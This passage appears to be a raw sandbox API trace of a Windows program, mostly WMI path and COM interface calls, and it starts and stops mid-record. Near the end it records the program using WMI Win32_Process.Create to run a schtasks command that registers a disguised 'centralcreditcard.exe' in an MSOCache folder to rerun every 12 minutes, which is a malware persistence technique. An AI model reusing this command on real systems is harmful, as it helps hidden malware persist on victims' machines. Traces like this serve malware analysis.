This=0x1c02ed30, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ed30, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0080.472] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02ec70) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ed30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ed30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ed30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0080.472] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02ec70, uIndex=0x0, pszName="ROOT") returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ed30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ed30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0080.472] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02ec70, uIndex=0x1, pszName="CIMV2") returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetClassName (in: This=0x1c02ec70, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0080.472] WbemDefPath:IWbemPath:SetClassName (This=0x1c02ec70, Name="Win32_Process") returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02ec70, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02ec70, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0080.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ec70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0080.473] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0080.473] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0080.473] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0080.473] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0080.473] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0080.473] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0080.473] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ec70, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0080.473] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0080.473] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0080.473] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0080.473] IUnknown:Release (This=0x111f638) returned 0x1 [0080.475] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c021f20) returned 0x0 [0080.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021f20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0080.475] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021f20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1c02edf0) returned 0x0 [0080.475] WbemDefPath:IUnknown:Release (This=0x1c021f20) returned 0x0 [0080.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02edf0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1c02edf0) returned 0x0 [0080.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02edf0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0080.475] WbemDefPath:IUnknown:AddRef (This=0x1c02edf0) returned 0x3 [0080.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02edf0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0080.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02edf0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0080.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02edf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c021f60) returned 0x0 [0080.475] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021f60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.475] WbemDefPath:IUnknown:Release (This=0x1c021f60) returned 0x3 [0080.476] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0080.476] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0080.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02edf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0080.476] WbemDefPath:IUnknown:Release (This=0x1c02edf0) returned 0x2 [0080.476] WbemDefPath:IUnknown:Release (This=0x1c02edf0) returned 0x1 [0080.476] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0080.476] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0080.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02edf0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1c02edf0) returned 0x0 [0080.476] WbemDefPath:IUnknown:AddRef (This=0x1c02edf0) returned 0x3 [0080.476] WbemDefPath:IUnknown:Release (This=0x1c02edf0) returned 0x2 [0080.476] WbemDefPath:IWbemPath:SetText (This=0x1c02edf0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0080.476] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0080.476] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0080.476] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.476] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0080.476] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0080.476] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0080.476] IUnknown:Release (This=0x111f638) returned 0x1 [0080.478] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c021fa0) returned 0x0 [0080.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021fa0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0080.478] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021fa0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1c02eeb0) returned 0x0 [0080.479] WbemDefPath:IUnknown:Release (This=0x1c021fa0) returned 0x0 [0080.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1c02eeb0) returned 0x0 [0080.479] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0080.479] WbemDefPath:IUnknown:AddRef (This=0x1c02eeb0) returned 0x3 [0080.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0080.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0080.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c021fe0) returned 0x0 [0080.480] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021fe0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0080.480] WbemDefPath:IUnknown:Release (This=0x1c021fe0) returned 0x3 [0080.480] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0080.480] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0080.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0080.480] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x2 [0080.480] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x1 [0080.480] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0080.480] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0080.480] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02eeb0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1c02eeb0) returned 0x0 [0080.480] WbemDefPath:IUnknown:AddRef (This=0x1c02eeb0) returned 0x3 [0080.480] WbemDefPath:IUnknown:Release (This=0x1c02eeb0) returned 0x2 [0080.480] WbemDefPath:IWbemPath:SetText (This=0x1c02eeb0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0080.480] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02edf0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0080.480] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02eeb0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0080.480] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eeb0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0080.480] WbemDefPath:IWbemPath:GetText (in: This=0x1c02eeb0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0080.480] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02edf0) returned 0x0 [0080.480] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02eeb0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0080.480] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02eeb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0080.480] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02eeb0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0080.481] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02edf0, uIndex=0x0, pszName="root") returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02eeb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02eeb0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0080.481] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02edf0, uIndex=0x1, pszName="cimv2") returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02eeb0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02eeb0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02edf0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02edf0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02edf0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ea30, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ea30, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02edf0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02edf0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02edf0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02edf0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0080.481] WbemDefPath:IWbemPath:GetText (in: This=0x1c02edf0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0080.482] IWbemServices:GetObject (in: This=0x1c018380, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1c028d60, ppCallResult=0x0) returned 0x0 [0080.517] IWbemClassObject:GetMethod (in: This=0x1c028d60, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1c0290d0, ppOutSignature=0x1b2fd9e0*=0x1c029440) returned 0x0 [0080.518] IWbemClassObject:SpawnInstance (in: This=0x1c0290d0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6d4d0) returned 0x0 [0080.518] IWbemClassObject:Get (in: This=0x1bf6d4d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad7310*=0, plFlavor=0x2ad7314*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad7310*=8, plFlavor=0x2ad7314*=32) returned 0x0 [0080.518] IWbemClassObject:Get (in: This=0x1bf6d4d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad7310*=8, plFlavor=0x2ad7314*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad7310*=8, plFlavor=0x2ad7314*=32) returned 0x0 [0080.519] IWbemClassObject:Put (This=0x1bf6d4d0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 12 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0080.519] IWbemClassObject:Get (in: This=0x1bf6d4d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad73a0*=0, plFlavor=0x2ad73a4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad73a0*=13, plFlavor=0x2ad73a4*=32) returned 0x0 [0080.519] IWbemClassObject:Get (in: This=0x1bf6d4d0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad73a0*=13, plFlavor=0x2ad73a4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ad73a0*=13, plFlavor=0x2ad73a4*=32) returned 0x0 [0080.519] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1c028680) returned 0x0 [0080.519] IUnknown:QueryInterface (in: This=0x1c028680, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, 